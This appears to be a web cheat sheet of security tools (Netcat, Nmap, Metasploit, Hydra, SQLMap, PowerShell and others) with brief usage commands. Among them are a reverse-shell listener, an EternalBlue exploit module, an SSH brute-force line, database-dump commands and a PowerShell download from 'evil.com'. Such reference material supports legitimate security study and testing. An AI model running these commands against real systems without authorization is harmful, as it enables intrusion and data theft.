Netcat (nc)
NetworkingThe "Swiss Army knife" of networking. Used for reading/writing data across network connections.
# Listen on port 4444 (Reverse Shell Listener)
nc -lvnp 4444
# Connect to a port
nc -v <target_ip> <port>
# File Transfer (Receiver)
nc -lvnp 1234 > received_file
Nmap
NetworkingNetwork exploration tool and security / port scanner.
# Aggressive Scan (OS, Services, Scripts)
nmap -A -v <target_ip>
# Scan specific ports
nmap -p 80,443,8080 <target_ip>
# Scan all ports
nmap -p- <target_ip>
Wireshark
NetworkingThe world's foremost network protocol analyzer.
# Filter by IP
ip.addr == 192.168.1.10
# Filter by Protocol
http || dns
# Follow TCP Stream
Right-click packet -> Follow -> TCP Stream
Metasploit Framework
ExploitationThe world's most used penetration testing framework.
# Start Console
msfconsole
# Search for module
search type:exploit platform:windows eternalblue
# Use module
use exploit/windows/smb/ms17_010_eternalblue
Searchsploit
ExploitationCommand line search tool for Exploit-DB.
# Search for exploit
searchsploit apache 2.4
# Mirror exploit to current dir
searchsploit -m <id>
Hydra
ExploitationA very fast network logon cracker which supports many different services.
# SSH Brute Force
hydra -l user -P passlist.txt ssh://192.168.1.10
Burp Suite
WebAn integrated platform for performing security testing of web applications.
# Intercept
Proxy -> Intercept -> Intercept is on
# Repeater
Send request to Repeater (Ctrl+R) to modify and resend.
Gobuster
WebDirectory/File, DNS and VHost busting tool written in Go.
# Directory Scan
gobuster dir -u http://example.com -w /path/to/wordlist.txt
# DNS Subdomain Scan
gobuster dns -d example.com -w /path/to/wordlist.txt
SQLMap
WebAutomatic SQL injection and database takeover tool.
# Basic Scan
sqlmap -u "http://example.com/page.php?id=1" --dbs
# Dump Database
sqlmap -u "..." -D dbname --dump
Volatility
ForensicsAdvanced memory forensics framework.
# Image Info (Vol 2)
volatility -f memory.dmp imageinfo
# Process List
volatility -f memory.dmp --profile=<profile> pslist
Autopsy
ForensicsThe premier open source digital forensics platform. GUI for The Sleuth Kit.
FTK Imager
ForensicsData preview and imaging tool. Used to acquire memory and disk images.
Sherlock
OSINTHunt down social media accounts by username across social networks.
# Search Username
python3 sherlock.py username
Maltego
OSINTOpen source intelligence and forensics application. It offers visual link analysis.
TheHarvester
OSINTGather emails, subdomains, hosts, employee names, open ports and banners.
# Basic Search
theHarvester -d example.com -b all
Sysinternals Suite
Forensics/AdminEssential Windows troubleshooting utilities (ProcMon, ProcExp, Autoruns, PsExec).
PowerShell
LOLBASTask automation and configuration management framework. Often used for LOLBAS attacks.
# Download File
Invoke-WebRequest -Uri "http://evil.com/file.exe" -OutFile "C:\Temp\file.exe"
# Base64 Encode
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("string"))
CyberChef
GeneralThe Cyber Swiss Army Knife - a web app for encryption, encoding, compression and data analysis.
Ghidra
ReversingA software reverse engineering (SRE) suite of tools developed by NSA.
Other Tools
IndexNetworking: Socat, SSH, OpenVPN, TCPDump, TShark, Zeek, Snort, Suricata, Nagios, Zscaler, Proxmox, Kubernetes, Docker.
Web: OWASP ZAP, Caido, WPScan, Feroxbuster, Dirb, Nikto, WhatWeb, ffuf, EvilGinx2, GoPhish.
Enumeration: Masscan, RustScan, Enum4linux, AdGuard, DNSRecon, NSLookup, Dig, Whois, Amass.
Exploitation: John the Ripper, Hashcat, CrackMapExec (NetExec), Evil-WinRM, Impacket, Responder, Mimikatz.
Forensics: Rekall, GRR, KAPE, Zimmerman Tools, ExifTool, Binwalk, Strings, FLOSS, PEStudio, ProcMon.
OSINT: Holehe, PhoneInfoga, Waybackurls, Gowitness.